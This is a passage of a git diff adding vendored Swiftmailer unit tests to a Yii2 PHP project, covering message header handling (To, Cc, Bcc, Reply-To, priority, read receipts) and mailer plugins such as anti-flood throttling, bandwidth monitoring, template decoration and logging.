array('from@domain' => 'Name'), + array(), false + ); + $replyTo->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('from@domain' => 'Name', 'other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Reply-To' => $replyTo)), + $this->_createEncoder(), $this->_createCache() + ); + $message->addReplyTo('other@domain', 'Other'); + } + + public function testReplyToHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Reply-To', (array) 'reply@domain'); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setReplyTo('reply@domain'); + } + + public function testNameCanBeUsedInReplyTo() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Reply-To', array('reply@domain' => 'Name')); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setReplyTo('reply@domain', 'Name'); + } + + public function testToIsReturnedFromHeader() + { + /* -- RFC 2822, 3.6.3. + */ + + $to = $this->_createHeader('To', array('to@domain' => 'Name')); + $message = $this->_createMessage( + $this->_createHeaderSet(array('To' => $to)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(array('to@domain' => 'Name'), $message->getTo()); + } + + public function testToIsSetInHeader() + { + $to = $this->_createHeader('To', array('to@domain' => 'Name'), + array(), false + ); + $to->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('To' => $to)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setTo(array('other@domain' => 'Other')); + } + + public function testToIsAddedToHeadersDuringAddTo() + { + $to = $this->_createHeader('To', array('from@domain' => 'Name'), + array(), false + ); + $to->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('from@domain' => 'Name', 'other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('To' => $to)), + $this->_createEncoder(), $this->_createCache() + ); + $message->addTo('other@domain', 'Other'); + } + + public function testToHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('To', (array) 'to@domain'); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setTo('to@domain'); + } + + public function testNameCanBeUsedInToHeader() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('To', array('to@domain' => 'Name')); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setTo('to@domain', 'Name'); + } + + public function testCcIsReturnedFromHeader() + { + /* -- RFC 2822, 3.6.3. + */ + + $cc = $this->_createHeader('Cc', array('cc@domain' => 'Name')); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Cc' => $cc)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(array('cc@domain' => 'Name'), $message->getCc()); + } + + public function testCcIsSetInHeader() + { + $cc = $this->_createHeader('Cc', array('cc@domain' => 'Name'), + array(), false + ); + $cc->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Cc' => $cc)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setCc(array('other@domain' => 'Other')); + } + + public function testCcIsAddedToHeadersDuringAddCc() + { + $cc = $this->_createHeader('Cc', array('from@domain' => 'Name'), + array(), false + ); + $cc->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('from@domain' => 'Name', 'other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Cc' => $cc)), + $this->_createEncoder(), $this->_createCache() + ); + $message->addCc('other@domain', 'Other'); + } + + public function testCcHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Cc', (array) 'cc@domain'); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setCc('cc@domain'); + } + + public function testNameCanBeUsedInCcHeader() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Cc', array('cc@domain' => 'Name')); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setCc('cc@domain', 'Name'); + } + + public function testBccIsReturnedFromHeader() + { + /* -- RFC 2822, 3.6.3. + */ + + $bcc = $this->_createHeader('Bcc', array('bcc@domain' => 'Name')); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Bcc' => $bcc)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(array('bcc@domain' => 'Name'), $message->getBcc()); + } + + public function testBccIsSetInHeader() + { + $bcc = $this->_createHeader('Bcc', array('bcc@domain' => 'Name'), + array(), false + ); + $bcc->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Bcc' => $bcc)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setBcc(array('other@domain' => 'Other')); + } + + public function testBccIsAddedToHeadersDuringAddBcc() + { + $bcc = $this->_createHeader('Bcc', array('from@domain' => 'Name'), + array(), false + ); + $bcc->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('from@domain' => 'Name', 'other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Bcc' => $bcc)), + $this->_createEncoder(), $this->_createCache() + ); + $message->addBcc('other@domain', 'Other'); + } + + public function testBccHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Bcc', (array) 'bcc@domain'); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setBcc('bcc@domain'); + } + + public function testNameCanBeUsedInBcc() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Bcc', array('bcc@domain' => 'Name')); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setBcc('bcc@domain', 'Name'); + } + + public function testPriorityIsReadFromHeader() + { + $prio = $this->_createHeader('X-Priority', '2 (High)'); + $message = $this->_createMessage( + $this->_createHeaderSet(array('X-Priority' => $prio)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(2, $message->getPriority()); + } + + public function testPriorityIsSetInHeader() + { + $prio = $this->_createHeader('X-Priority', '2 (High)', array(), false); + $prio->shouldReceive('setFieldBodyModel') + ->once() + ->with('5 (Lowest)'); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('X-Priority' => $prio)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setPriority(5); + } + + public function testPriorityHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addTextHeader') + ->once() + ->with('X-Priority', '4 (Low)'); + $headers->shouldReceive('addTextHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setPriority(4); + } + + public function testReadReceiptAddressReadFromHeader() + { + $rcpt = $this->_createHeader('Disposition-Notification-To', + array('chris@swiftmailer.org' => 'Chris') + ); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Disposition-Notification-To' => $rcpt)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(array('chris@swiftmailer.org' => 'Chris'), + $message->getReadReceiptTo() + ); + } + + public function testReadReceiptIsSetInHeader() + { + $rcpt = $this->_createHeader('Disposition-Notification-To', array(), array(), false); + $rcpt->shouldReceive('setFieldBodyModel') + ->once() + ->with('mark@swiftmailer.org'); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Disposition-Notification-To' => $rcpt)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setReadReceiptTo('mark@swiftmailer.org'); + } + + public function testReadReceiptHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Disposition-Notification-To', 'mark@swiftmailer.org'); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setReadReceiptTo('mark@swiftmailer.org'); + } + + public function testChildrenCanBeAttached() + { + $child1 = $this->_createChild(); + $child2 = $this->_createChild(); + + $message = $this->_createMessage($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + + $message->attach($child1); + $message->attach($child2); + + $this->assertEquals(array($child1, $child2), $message->getChildren()); + } + + public function testChildrenCanBeDetached() + { + $child1 = $this->_createChild(); + $child2 = $this->_createChild(); + + $message = $this->_createMessage($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + + $message->attach($child1); + $message->attach($child2); + + $message->detach($child1); + + $this->assertEquals(array($child2), $message->getChildren()); + } + + public function testEmbedAttachesChild() + { + $child = $this->_createChild(); + + $message = $this->_createMessage($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + + $message->embed($child); + + $this->assertEquals(array($child), $message->getChildren()); + } + + public function testEmbedReturnsValidCid() + { + $child = $this->_createChild(Swift_Mime_MimeEntity::LEVEL_RELATED, '', + false + ); + $child->shouldReceive('getId') + ->zeroOrMoreTimes() + ->andReturn('foo@bar'); + + $message = $this->_createMessage($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + + $this->assertEquals('cid:foo@bar', $message->embed($child)); + } + + public function testFluidInterface() + { + $child = $this->_createChild(); + $message = $this->_createMessage($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertSame($message, + $message + ->setContentType('text/plain') + ->setEncoder($this->_createEncoder()) + ->setId('foo@bar') + ->setDescription('my description') + ->setMaxLineLength(998) + ->setBody('xx') + ->setBoundary('xyz') + ->setChildren(array()) + ->setCharset('iso-8859-1') + ->setFormat('flowed') + ->setDelSp(false) + ->setSubject('subj') + ->setDate(123) + ->setReturnPath('foo@bar') + ->setSender('foo@bar') + ->setFrom(array('x@y' => 'XY')) + ->setReplyTo(array('ab@cd' => 'ABCD')) + ->setTo(array('chris@site.tld', 'mark@site.tld')) + ->setCc('john@somewhere.tld') + ->setBcc(array('one@site', 'two@site' => 'Two')) + ->setPriority(4) + ->setReadReceiptTo('a@b') + ->attach($child) + ->detach($child) + ); + } + + // -- Private helpers + + //abstract + protected function _createEntity($headers, $encoder, $cache) + { + return $this->_createMessage($headers, $encoder, $cache); + } + + protected function _createMimePart($headers, $encoder, $cache) + { + return $this->_createMessage($headers, $encoder, $cache); + } + + private function _createMessage($headers, $encoder, $cache) + { + return new Swift_Mime_SimpleMessage($headers, $encoder, $cache, new Swift_Mime_Grammar()); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleMimeEntityTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleMimeEntityTest.php new file mode 100644 index 00000000..b54d7f87 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleMimeEntityTest.php @@ -0,0 +1,11 @@ +assertEquals(10, $plugin->getThreshold()); + $plugin->setThreshold(100); + $this->assertEquals(100, $plugin->getThreshold()); + } + + public function testSleepTimeCanBeSetAndFetched() + { + $plugin = new Swift_Plugins_AntiFloodPlugin(10, 5); + $this->assertEquals(5, $plugin->getSleepTime()); + $plugin->setSleepTime(1); + $this->assertEquals(1, $plugin->getSleepTime()); + } + + public function testPluginStopsConnectionAfterThreshold() + { + $transport = $this->_createTransport(); + $transport->expects($this->once()) + ->method('start'); + $transport->expects($this->once()) + ->method('stop'); + + $evt = $this->_createSendEvent($transport); + + $plugin = new Swift_Plugins_AntiFloodPlugin(10); + for ($i = 0; $i < 12; $i++) { + $plugin->sendPerformed($evt); + } + } + + public function testPluginCanStopAndStartMultipleTimes() + { + $transport = $this->_createTransport(); + $transport->expects($this->exactly(5)) + ->method('start'); + $transport->expects($this->exactly(5)) + ->method('stop'); + + $evt = $this->_createSendEvent($transport); + + $plugin = new Swift_Plugins_AntiFloodPlugin(2); + for ($i = 0; $i < 11; $i++) { + $plugin->sendPerformed($evt); + } + } + + public function testPluginCanSleepDuringRestart() + { + $sleeper = $this->getMock('Swift_Plugins_Sleeper'); + $sleeper->expects($this->once()) + ->method('sleep') + ->with(10); + + $transport = $this->_createTransport(); + $transport->expects($this->once()) + ->method('start'); + $transport->expects($this->once()) + ->method('stop'); + + $evt = $this->_createSendEvent($transport); + + $plugin = new Swift_Plugins_AntiFloodPlugin(99, 10, $sleeper); + for ($i = 0; $i < 101; $i++) { + $plugin->sendPerformed($evt); + } + } + + // -- Creation Methods + + private function _createTransport() + { + return $this->getMock('Swift_Transport'); + } + + private function _createSendEvent($transport) + { + $evt = $this->getMockBuilder('Swift_Events_SendEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getSource') + ->will($this->returnValue($transport)); + $evt->expects($this->any()) + ->method('getTransport') + ->will($this->returnValue($transport)); + + return $evt; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/BandwidthMonitorPluginTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/BandwidthMonitorPluginTest.php new file mode 100644 index 00000000..20ad73eb --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/BandwidthMonitorPluginTest.php @@ -0,0 +1,127 @@ +_monitor = new Swift_Plugins_BandwidthMonitorPlugin(); + } + + public function testBytesOutIncreasesWhenCommandsSent() + { + $evt = $this->_createCommandEvent("RCPT TO: \r\n"); + + $this->assertEquals(0, $this->_monitor->getBytesOut()); + $this->_monitor->commandSent($evt); + $this->assertEquals(24, $this->_monitor->getBytesOut()); + $this->_monitor->commandSent($evt); + $this->assertEquals(48, $this->_monitor->getBytesOut()); + } + + public function testBytesInIncreasesWhenResponsesReceived() + { + $evt = $this->_createResponseEvent("250 Ok\r\n"); + + $this->assertEquals(0, $this->_monitor->getBytesIn()); + $this->_monitor->responseReceived($evt); + $this->assertEquals(8, $this->_monitor->getBytesIn()); + $this->_monitor->responseReceived($evt); + $this->assertEquals(16, $this->_monitor->getBytesIn()); + } + + public function testCountersCanBeReset() + { + $evt = $this->_createResponseEvent("250 Ok\r\n"); + + $this->assertEquals(0, $this->_monitor->getBytesIn()); + $this->_monitor->responseReceived($evt); + $this->assertEquals(8, $this->_monitor->getBytesIn()); + $this->_monitor->responseReceived($evt); + $this->assertEquals(16, $this->_monitor->getBytesIn()); + + $evt = $this->_createCommandEvent("RCPT TO: \r\n"); + + $this->assertEquals(0, $this->_monitor->getBytesOut()); + $this->_monitor->commandSent($evt); + $this->assertEquals(24, $this->_monitor->getBytesOut()); + $this->_monitor->commandSent($evt); + $this->assertEquals(48, $this->_monitor->getBytesOut()); + + $this->_monitor->reset(); + + $this->assertEquals(0, $this->_monitor->getBytesOut()); + $this->assertEquals(0, $this->_monitor->getBytesIn()); + } + + public function testBytesOutIncreasesAccordingToMessageLength() + { + $message = $this->_createMessageWithByteCount(6); + $evt = $this->_createSendEvent($message); + + $this->assertEquals(0, $this->_monitor->getBytesOut()); + $this->_monitor->sendPerformed($evt); + $this->assertEquals(6, $this->_monitor->getBytesOut()); + $this->_monitor->sendPerformed($evt); + $this->assertEquals(12, $this->_monitor->getBytesOut()); + } + + // -- Creation Methods + + private function _createSendEvent($message) + { + $evt = $this->getMockBuilder('Swift_Events_SendEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getMessage') + ->will($this->returnValue($message)); + + return $evt; + } + + private function _createCommandEvent($command) + { + $evt = $this->getMockBuilder('Swift_Events_CommandEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getCommand') + ->will($this->returnValue($command)); + + return $evt; + } + + private function _createResponseEvent($response) + { + $evt = $this->getMockBuilder('Swift_Events_ResponseEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getResponse') + ->will($this->returnValue($response)); + + return $evt; + } + + private function _createMessageWithByteCount($bytes) + { + $this->_bytes = $bytes; + $msg = $this->getMock('Swift_Mime_Message'); + $msg->expects($this->any()) + ->method('toByteStream') + ->will($this->returnCallback(array($this, '_write'))); + /* $this->_checking(Expectations::create() + -> ignoring($msg)->toByteStream(any()) -> calls(array($this, '_write')) + ); */ + + return $msg; + } + + private $_bytes = 0; + public function _write($is) + { + for ($i = 0; $i < $this->_bytes; ++$i) { + $is->write('x'); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/DecoratorPluginTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/DecoratorPluginTest.php new file mode 100644 index 00000000..7f4cdef1 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/DecoratorPluginTest.php @@ -0,0 +1,269 @@ +_createMessage( + $this->_createHeaders(), + array('zip@button.tld' => 'Zipathon'), + array('chris.corbyn@swiftmailer.org' => 'Chris'), + 'Subject', + 'Hello {name}, you are customer #{id}' + ); + $message->shouldReceive('setBody') + ->once() + ->with('Hello Zip, you are customer #456'); + $message->shouldReceive('setBody') + ->zeroOrMoreTimes(); + + $plugin = $this->_createPlugin( + array('zip@button.tld' => array('{name}' => 'Zip', '{id}' => '456')) + ); + + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + } + + public function testReplacementsCanBeAppliedToSameMessageMultipleTimes() + { + $message = $this->_createMessage( + $this->_createHeaders(), + array('zip@button.tld' => 'Zipathon', 'foo@bar.tld' => 'Foo'), + array('chris.corbyn@swiftmailer.org' => 'Chris'), + 'Subject', + 'Hello {name}, you are customer #{id}' + ); + $message->shouldReceive('setBody') + ->once() + ->with('Hello Zip, you are customer #456'); + $message->shouldReceive('setBody') + ->once() + ->with('Hello {name}, you are customer #{id}'); + $message->shouldReceive('setBody') + ->once() + ->with('Hello Foo, you are customer #123'); + $message->shouldReceive('setBody') + ->zeroOrMoreTimes(); + + $plugin = $this->_createPlugin( + array( + 'foo@bar.tld' => array('{name}' => 'Foo', '{id}' => '123'), + 'zip@button.tld' => array('{name}' => 'Zip', '{id}' => '456'), + ) + ); + + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + } + + public function testReplacementsCanBeMadeInHeaders() + { + $headers = $this->_createHeaders(array( + $returnPathHeader = $this->_createHeader('Return-Path', 'foo-{id}@swiftmailer.org'), + $toHeader = $this->_createHeader('Subject', 'A message for {name}!'), + )); + + $message = $this->_createMessage( + $headers, + array('zip@button.tld' => 'Zipathon'), + array('chris.corbyn@swiftmailer.org' => 'Chris'), + 'A message for {name}!', + 'Hello {name}, you are customer #{id}' + ); + + $message->shouldReceive('setBody') + ->once() + ->with('Hello Zip, you are customer #456'); + $toHeader->shouldReceive('setFieldBodyModel') + ->once() + ->with('A message for Zip!'); + $returnPathHeader->shouldReceive('setFieldBodyModel') + ->once() + ->with('foo-456@swiftmailer.org'); + $message->shouldReceive('setBody') + ->zeroOrMoreTimes(); + $toHeader->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + $returnPathHeader->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $plugin = $this->_createPlugin( + array('zip@button.tld' => array('{name}' => 'Zip', '{id}' => '456')) + ); + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + } + + public function testReplacementsAreMadeOnSubparts() + { + $part1 = $this->_createPart('text/plain', 'Your name is {name}?', '1@x'); + $part2 = $this->_createPart('text/html', 'Your name is {name}?', '2@x'); + $message = $this->_createMessage( + $this->_createHeaders(), + array('zip@button.tld' => 'Zipathon'), + array('chris.corbyn@swiftmailer.org' => 'Chris'), + 'A message for {name}!', + 'Subject' + ); + $message->shouldReceive('getChildren') + ->zeroOrMoreTimes() + ->andReturn(array($part1, $part2)); + $part1->shouldReceive('setBody') + ->once() + ->with('Your name is Zip?'); + $part2->shouldReceive('setBody') + ->once() + ->with('Your name is Zip?'); + $part1->shouldReceive('setBody') + ->zeroOrMoreTimes(); + $part2->shouldReceive('setBody') + ->zeroOrMoreTimes(); + + $plugin = $this->_createPlugin( + array('zip@button.tld' => array('{name}' => 'Zip', '{id}' => '456')) + ); + + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + } + + public function testReplacementsCanBeTakenFromCustomReplacementsObject() + { + $message = $this->_createMessage( + $this->_createHeaders(), + array('foo@bar' => 'Foobar', 'zip@zap' => 'Zip zap'), + array('chris.corbyn@swiftmailer.org' => 'Chris'), + 'Subject', + 'Something {a}' + ); + + $replacements = $this->_createReplacements(); + + $message->shouldReceive('setBody') + ->once() + ->with('Something b'); + $message->shouldReceive('setBody') + ->once() + ->with('Something c'); + $message->shouldReceive('setBody') + ->zeroOrMoreTimes(); + $replacements->shouldReceive('getReplacementsFor') + ->once() + ->with('foo@bar') + ->andReturn(array('{a}' => 'b')); + $replacements->shouldReceive('getReplacementsFor') + ->once() + ->with('zip@zap') + ->andReturn(array('{a}' => 'c')); + + $plugin = $this->_createPlugin($replacements); + + $evt = $this->_createSendEvent($message); + + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + $plugin->beforeSendPerformed($evt); + $plugin->sendPerformed($evt); + } + + // -- Creation methods + + private function _createMessage($headers, $to = array(), $from = null, $subject = null, + $body = null) + { + $message = $this->getMockery('Swift_Mime_Message')->shouldIgnoreMissing(); + foreach ($to as $addr => $name) { + $message->shouldReceive('getTo') + ->once() + ->andReturn(array($addr => $name)); + } + $message->shouldReceive('getHeaders') + ->zeroOrMoreTimes() + ->andReturn($headers); + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn($from); + $message->shouldReceive('getSubject') + ->zeroOrMoreTimes() + ->andReturn($subject); + $message->shouldReceive('getBody') + ->zeroOrMoreTimes() + ->andReturn($body); + + return $message; + } + + private function _createPlugin($replacements) + { + return new Swift_Plugins_DecoratorPlugin($replacements); + } + + private function _createReplacements() + { + return $this->getMockery('Swift_Plugins_Decorator_Replacements')->shouldIgnoreMissing(); + } + + private function _createSendEvent(Swift_Mime_Message $message) + { + $evt = $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + $evt->shouldReceive('getMessage') + ->zeroOrMoreTimes() + ->andReturn($message); + + return $evt; + } + + private function _createPart($type, $body, $id) + { + $part = $this->getMockery('Swift_Mime_MimeEntity')->shouldIgnoreMissing(); + $part->shouldReceive('getContentType') + ->zeroOrMoreTimes() + ->andReturn($type); + $part->shouldReceive('getBody') + ->zeroOrMoreTimes() + ->andReturn($body); + $part->shouldReceive('getId') + ->zeroOrMoreTimes() + ->andReturn($id); + + return $part; + } + + private function _createHeaders($headers = array()) + { + $set = $this->getMockery('Swift_Mime_HeaderSet')->shouldIgnoreMissing(); + $set->shouldReceive('getAll') + ->zeroOrMoreTimes() + ->andReturn($headers); + + foreach ($headers as $header) { + $set->set($header); + } + + return $set; + } + + private function _createHeader($name, $body = '') + { + $header = $this->getMockery('Swift_Mime_Header')->shouldIgnoreMissing(); + $header->shouldReceive('getFieldName') + ->zeroOrMoreTimes() + ->andReturn($name); + $header->shouldReceive('getFieldBodyModel') + ->zeroOrMoreTimes() + ->andReturn($body); + + return $header; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/LoggerPluginTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/LoggerPluginTest.php new file mode 100644 index 00000000..bd1fd97a --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/LoggerPluginTest.php @@ -0,0 +1,190 @@ +_createLogger(); + $logger->expects($this->once()) + ->method('add') + ->with('foo'); + + $plugin = $this->_createPlugin($logger); + $plugin->add('foo'); + } + + public function testLoggerDelegatesDumpingEntries() + { + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('dump') + ->will($this->returnValue('foobar')); + + $plugin = $this->_createPlugin($logger); + $this->assertEquals('foobar', $plugin->dump()); + } + + public function testLoggerDelegatesClearingEntries() + { + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('clear'); + + $plugin = $this->_createPlugin($logger); + $plugin->clear(); + } + + public function testCommandIsSentToLogger() + { + $evt = $this->_createCommandEvent("foo\r\n"); + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('add') + ->with($this->regExp('~foo\r\n~')); + + $plugin = $this->_createPlugin($logger); + $plugin->commandSent($evt); + } + + public function testResponseIsSentToLogger() + { + $evt = $this->_createResponseEvent("354 Go ahead\r\n"); + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('add') + ->with($this->regExp('~354 Go ahead\r\n~')); + + $plugin = $this->_createPlugin($logger); + $plugin->responseReceived($evt); + } + + public function testTransportBeforeStartChangeIsSentToLogger() + { + $evt = $this->_createTransportChangeEvent(); + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('add') + ->with($this->anything()); + + $plugin = $this->_createPlugin($logger); + $plugin->beforeTransportStarted($evt); + } + + public function testTransportStartChangeIsSentToLogger() + { + $evt = $this->_createTransportChangeEvent(); + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('add') + ->with($this->anything()); + + $plugin = $this->_createPlugin($logger); + $plugin->transportStarted($evt); + } + + public function testTransportStopChangeIsSentToLogger() + { + $evt = $this->_createTransportChangeEvent(); + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('add') + ->with($this->anything()); + + $plugin = $this->_createPlugin($logger); + $plugin->transportStopped($evt); + } + + public function testTransportBeforeStopChangeIsSentToLogger() + { + $evt = $this->_createTransportChangeEvent(); + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('add') + ->with($this->anything()); + + $plugin = $this->_createPlugin($logger); + $plugin->beforeTransportStopped($evt); + } + + public function testExceptionsArePassedToDelegateAndLeftToBubbleUp() + { + $transport = $this->_createTransport(); + $evt = $this->_createTransportExceptionEvent(); + $logger = $this->_createLogger(); + $logger->expects($this->once()) + ->method('add') + ->with($this->anything()); + + $plugin = $this->_createPlugin($logger); + try { + $plugin->exceptionThrown($evt); + $this->fail('Exception should bubble up.'); + } catch (Swift_TransportException $ex) { + } + } + + // -- Creation Methods + + private function _createLogger() + { + return $this->getMock('Swift_Plugins_Logger'); + } + + private function _createPlugin($logger) + { + return new Swift_Plugins_LoggerPlugin($logger); + } + + private function _createCommandEvent($command) + { + $evt = $this->getMockBuilder('Swift_Events_CommandEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getCommand') + ->will($this->returnValue($command)); + + return $evt; + } + + private function _createResponseEvent($response) + { + $evt = $this->getMockBuilder('Swift_Events_ResponseEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getResponse') + ->will($this->returnValue($response)); + + return $evt; + } + + private function _createTransport() + { + return $this->getMock('Swift_Transport'); + } + + private function _createTransportChangeEvent() + { + $evt = $this->getMockBuilder('Swift_Events_TransportChangeEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getSource') + ->will($this->returnValue($this->_createTransport())); + + return $evt; + } + + public function _createTransportExceptionEvent() + { + $evt = $this->getMockBuilder('Swift_Events_TransportExceptionEvent') + ->disableOriginalConstructor() + ->getMock(); + $evt->expects($this->any()) + ->method('getException') + ->will($this->returnValue(new Swift_TransportException(''))); + + return $evt; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Loggers/ArrayLoggerTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Loggers/ArrayLoggerTest.php new file mode 100644 index 00000000..880bb32c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/Loggers/ArrayLoggerTest.php @@ -0,0 +1,65 @@ +add(">> Foo\r\n"); + $this->assertEquals(">> Foo\r\n", $logger->dump()); + } + + public function testAddingMultipleEntriesDumpsMultipleLines() + { + $logger = new Swift_Plugins_Loggers_ArrayLogger(); + $logger->add(">> FOO\r\n"); + $logger->add("<< 502 That makes no sense\r\n"); + $logger->add(">> RSET\r\n"); + $logger->add("<< 250 OK\r\n"); + + $this->assertEquals( + ">> FOO\r\n".PHP_EOL. + "<< 502 That makes no sense\r\n".PHP_EOL. + ">> RSET\r\n".PHP_EOL. + "<< 250 OK\r\n", + $logger->dump() + ); + } + + public function testLogCanBeCleared() + { + $logger = new 